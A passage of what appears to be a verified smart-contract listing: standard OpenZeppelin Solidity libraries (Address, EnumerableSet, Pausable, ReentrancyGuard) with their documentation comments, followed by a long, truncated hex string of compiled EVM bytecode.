{ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../GSN/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } }
0x60806040526004361061041f5760003560e01c80637fc3e3201161021e578063ad38d68411610123578063d8e34c6b116100ab578063e5ae14d71161007a578063e5ae14d714611164578063e8ba907b14611191578063ef3fc6cf146111bc578063f2fde38b14611215578063fc30db3b1461126657610485565b8063d8e34c6b146110b8578063dfe86b9e146110e3578063e3ac5d261461110e578063e40c11a31461113957610485565b8063c149c96b116100f2578063c149c96b14610fcf578063c8fa2d9a14610ffa578063caba5b8b14611025578063d1a773f114611052578063d24c8b8d1461108d57610485565b8063ad38d68414610ee7578063b8d1452f14610f28578063be6b10b814610f79578063bf5ff6e614610fa457610485565b806393a78004116101a65780639cb83898116101755780639cb8389814610dea5780639f58b29814610e15578063a176459514610e50578063a1f3811514610e91578063ac2f573f14610ebc57610485565b806393a7800414610d2c57806395a1750f14610d675780639755a71014610d925780639b55673f14610dbf57610485565b8063862843ef116101ed578063862843ef14610c2d578063890c994414610c685780638b7afe2e14610c955780638da5cb5b14610cc0578063932aed4514610d0157610485565b80637fc3e32014610b7357806381e4f76214610bae57806381f31ffc14610be95780638456cb5914610c1657610485565b806355152173116103245780636b9f0acc116102ac5780637097b6c41161027b5780637097b6c414610aa9578063715018a614610ad657806378ef2ecf14610aed5780637d94792a14610af75780637e13943914610b2257610485565b80636b9f0acc146109e75780636c6e505714610a125780636eb6453e14610a3d5780636fd902a514610a7e57610485565b80635dd8c861116102f35780635dd8c861146108d4578063610757e414610925578063624819b314610966578063685f596114610991578063697d2c69146109bc57610485565b8063551521731461080657806357c6a033146108415780635a34d3561461087c5780635c975abb146108a757610485565b8063336dadba116103a75780634b70b5f5116103765780634b70b5f5146106f35780634ba2363a1461071e578063521eb273146107495780635431445e1461078a5780635507554f146107cb57610485565b8063336dadba1461066d5780633f4ba83a1461068457806347a13c8a1461069b5780634b274c81146106c857610485565b8063163b6fe1116103ee578063163b6fe11461055c57806316ac6afa146105735780631929da54146105ae5780632e1a7d4d14610607578063336c61751461064257610485565b8063042678921461048a5780630a74c5f5146104cb5780630c57885a146104f65780631120252d1461052157610485565b36610485576000610432346005546112a1565b9050600061044982346112d190919063ffffffff16565b905061046081600e5461131b90919063ffffffff16565b600e8190555061047b82600f5461131b90919063ffffffff16565b600f819055505050005b600080fd5b34801561049657600080fd5b5061049f6113a3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104d757600080fd5b506104e06113cd565b6040518082815260200191505060405180910390f35b34801561050257600080fd5b5061050b6113d3565b6040518082815260200191505060405180910390f35b34801561052d57600080fd5b5061055a6004803603602081101561054457600080fd5b81019080803590602001909291905050506113d9565b005b34801561056857600080fd5b506105716114ab565b005b34801561057f57600080fd5b506105ac6004803603602081101561059657600080fd5b810190808035906020019092919050505061177d565b005b3480156105ba57600080fd5b506105f1600480360360408110156105d157600080fd5b81019080803590602001909291908035906020019092919050505061184f565b6040518082815260200191505060405180910390f35b34801561061357600080fd5b506106406004803603602081101561062a57600080fd5b8101908080359060200190929190505050611880565b005b34801561064e57600080fd5b50610657611999565b6040518082815260200191505060405180910390f35b34801561067957600080fd5b5061068261199f565b005b34801561069057600080fd5b50610699611c33565b005b3480156106a757600080fd5b506106b0611d05565b60405180821515815260200191505060405180910390f35b3480156106d457600080fd5b506106dd611d18565b6040518082815260200191505060405180910390f35b3480156106ff57600080fd5b50610708611d6e565b6040518082815260200191505060405180910390f35b34801561072a57600080fd5b50610733611d74565b6040518082815260200191505060405180910390f35b34801561075557600080fd5b5061075e611d7e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561079657600080fd5b5061079f611da8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107d757600080fd5b50610804600480360360208110156107ee57600080fd5b8101908080359060200190929190505050611dce565b005b34801561081257600080fd5b5061083f6004803603602081101561082957600080fd5b8101908080359060200190929190505050611ef9565b005b34801561084d57600080fd5b5061087a6004803603602081101561086457600080fd5b8101908080359060200190929190505050612034565b005b34801561088857600080fd5b50610891612106565b6040518082815260200191505060405180910390f35b3480156108b357600080fd5b506108bc61210c565b60405180821515815260200191505060405180910390f35b3480156108e057600080fd5b50610923600480360360208110156108f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612122565b005b34801561093157600080fd5b5061093a61222e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561097257600080fd5b5061097b612254565b6040518082815260200191505060405180910390f35b34801561099d57600080fd5b506109a66122b8565b6040518082815260200191505060405180910390f35b3480156109c857600080fd5b506109d16122be565b6040518082815260200191505060405180910390f35b3480156109f357600080fd5b506109fc6122c4565b6040518082815260200191505060405180910390f35b348015610a1e57600080fd5b50610a27612535565b6040518082815260200191505060405180910390f35b348015610a4957600080fd5b50610a5261253f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a8a57600080fd5b50610a93612565565b6040518082815260200191505060405180910390f35b348015610ab557600080fd5b50610abe61256b565b60405180821515815260200191505060405180910390f35b348015610ae257600080fd5b50610aeb61257e565b005b610af5612704565b005b348015610b0357600080fd5b50610b0c612a90565b6040518082815260200191505060405180910390f35b348015610b2e57600080fd5b50610b7160048036036020811015610b4557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a9a565b005b348015610b7f57600080fd5b50610bac60048036036020811015610b9657600080fd5b8101908080359060200190929190505050612ba6565b005b348015610bba57600080fd5b50610be760048036036020811015610bd157600080fd5b8101908080359060200190929190505050612c78565b005b348015610bf557600080fd5b50610bfe612d4a565b60405180821515815260200191505060405180910390f35b348015610c2257600080fd5b50610c2b612d5d565b005b348015610c3957600080fd5b50610c6660048036036020811015610c5057600080fd5b8101908080359060200190929190505050612e2f565b005b348015610c7457600080fd5b50610c7d612f01565b60405180821515815260200191505060405180910390f35b348015610ca157600080fd5b50610caa612f18565b6040518082815260200191505060405180910390f35b348015610ccc57600080fd5b50610cd5612f20565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610d0d57600080fd5b50610d16612f49565b6040518082815260200191505060405180910390f35b348015610d3857600080fd5b50610d6560048036036020811015610d4f57600080fd5b8101908080359060200190929190505050612f71565b005b348015610d7357600080fd5b50610d7c6133e1565b6040518082815260200191505060405180910390f35b348015610d9e57600080fd5b50610da76133e7565b60405180821515815260200191505060405180910390f35b348015610dcb57600080fd5b50610dd4613464565b6040518082815260200191505060405180910390f35b348015610df657600080fd5b50610dff613538565b6040518082815260200191505060405180910390f35b348015610e2157600080fd5b50610e4e60048036036020811015610e3857600080fd5b810190808035906020019092919050505061353e565b005b348015610e5c57600080fd5b50610e65613610565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610e9d57600080fd5b50610ea6613636565b6040518082815260200191505060405180910390f35b348015610ec857600080fd5b50610ed1613640565b6040518082815260200191505060405180910390f35b348015610ef357600080fd5b50610efc613646565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610f3457600080fd5b50610f7760048036036020811015610f4b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613670565b005b348015610f8557600080fd5b50610f8e61377c565b6040518082815260200191505060405180910390f35b348015610fb057600080fd5b50610fb9613786565b6040518082815260200191505060405180910390f35b348015610fdb57600080fd5b50610fe461378c565b6040518082815260200191505060405180910390f35b34801561100657600080fd5b5061100f613796565b6040518082815260200191505060405180910390f35b34801561103157600080fd5b5061103a61379c565b60405180821515815260200191505060405180910390f35b34801561105e57600080fd5b5061108b6004803603602081101561107557600080fd5b81019080803590602001909291905050506137b3565b005b34801561109957600080fd5b506110a26138ee565b6040518082815260200191505060405180910390f35b3480156110c457600080fd5b506110cd61391c565b6040518082815260200191505060405180910390f35b3480156110ef57600080fd5b506110f8613926565b6040518082815260200191505060405180910390f35b34801561111a57600080fd5b50611123613994565b6040518082815260200191505060405180910390f35b34801561114557600080fd5b5061114e6139dc565b6040518082815260200191505060405180910390f35b34801561117057600080fd5b506111796139e6565b60405180821515815260200191505060405180910390f35b34801561119d57600080fd5b506111a66139fd565b6040518082815260200191505060405180910390f35b3480156111c857600080fd5b506111ff600480360360408110156111df57600080fd5b8101908080359060200190929190803590602001909291905050506112a1565b6040518082815260200191505060405180910390f35b34801561122157600080fd5b506112646004803603602081101561123857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613a07565b005b34801561127257600080fd5b5061129f6004803603602081101561128957600080fd5b8101908080359060200190929190505050613c12565b005b60006112c960646112bb8486613ce490919063ffffffff16565b613d6a90919063ffffffff16565b905092915050565b600061131383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613db4565b905092915050565b600080828401905083811015611399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60075481565b60055481565b6113e1613e74565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060168190555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114ec613e74565b73ffffffffffffffffffffffffffffffffffffffff1614611558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180614223602b913960400191505060405180910390fd5b600060149054906101000a900460ff16156115db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b60001515600660009054906101000a900460ff16151514611647576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806143f96031913960400191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fc673c4f61168d613e74565b611695612254565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020018060200180602001838103835260008152602001838103825260008152602001945050505050600060405180830381600087803b15801561170a57600080fd5b505af115801561171e573d6000803e3d6000fd5b505050506001600660006101000a81548160ff0219169083151502179055507f0d94a40ea249844e751d5ec603657897a2400b33e5b75d9638f6cc951865f4ba611766612254565b6040518082815260200191505060405180910390a1565b611785613e74565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611845576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600a8190555050565b600061187861271061186a8486613ce490919063ffffffff16565b613d6a90919063ffffffff16565b905092915050565b611888613e74565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611948576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611950612f20565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611995573d6000803e3d6000fd5b5050565b60085481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166119e0613e74565b73ffffffffffffffffffffffffffffffffffffffff1614611a4c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180614223602b913960400191505060405180910390fd5b600060149054906101000a900460ff1615611acf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b60001515600660019054906101000a900460ff16151514611b3b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603081526020018061424e6030913960400191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fc673c4f611b81613e74565b611b89613926565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020018060200180602001838103835260008152602001838103825260008152602001945050505050600060405180830381600087803b158015611bfe57600080fd5b505af1158015611c12573d6000803e3d6000fd5b505050506001600660016101000a81548160ff021916908315150217905550565b611c3b613e74565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cfb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611d03613e7c565b565b600660019054906101000a900460ff1681565b6000611d226133e7565b15611d3c57611d35600f5460045461184f565b9050611d6b565b600660019054906101000a900460ff1615611d6057611d596138ee565b9050611d6b565b611d68612f49565b90505b90565b600c5481565b6000600e54905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611dd6613e74565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e96576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611eef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e81526020018061427e602e913960400191505060405180910390fd5b80600c8190555050565b611f01613e74565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611fc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060008110158015611fd4575060648111155b612029576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d8152602001806142f6602d913960400191505060405180910390fd5b816004819055505050565b61203c613e74565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060158190555050565b600f5481565b60008060149054906101000a900460ff16905090565b61212a613e74565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009050612279612271612269611d18565b6007546112a1565b6016546112a1565b90506122af670de0b6b3a76400006122a16122926122c4565b84613ce490919063ffffffff16565b613d6a90919063ffffffff16565b90508091505090565b60165481565b60145481565b60008073ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561232c57671bc16d674ec800009050612532565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156123d957600080fd5b505afa1580156123ed573d6000803e3d6000fd5b505050506040513d602081101561240357600080fd5b810190808051906020019092919050505090506000612518670de0b6b3a7640000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156124cf57600080fd5b505afa1580156124e3573d6000803e3d6000fd5b505050506040513d60208110156124f957600080fd5b8101908080519060200190929190505050613ce490919063ffffffff16565b905061252d8282613d6a90919063ffffffff16565b925050505b90565b6000600854905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b600660029054906101000a900460ff1681565b612586613e74565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612646576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612745613e74565b73ffffffffffffffffffffffffffffffffffffffff1614156127b2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001806143a3602e913960400191505060405180910390fd5b600060149054906101000a900460ff1615612835576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f50617573616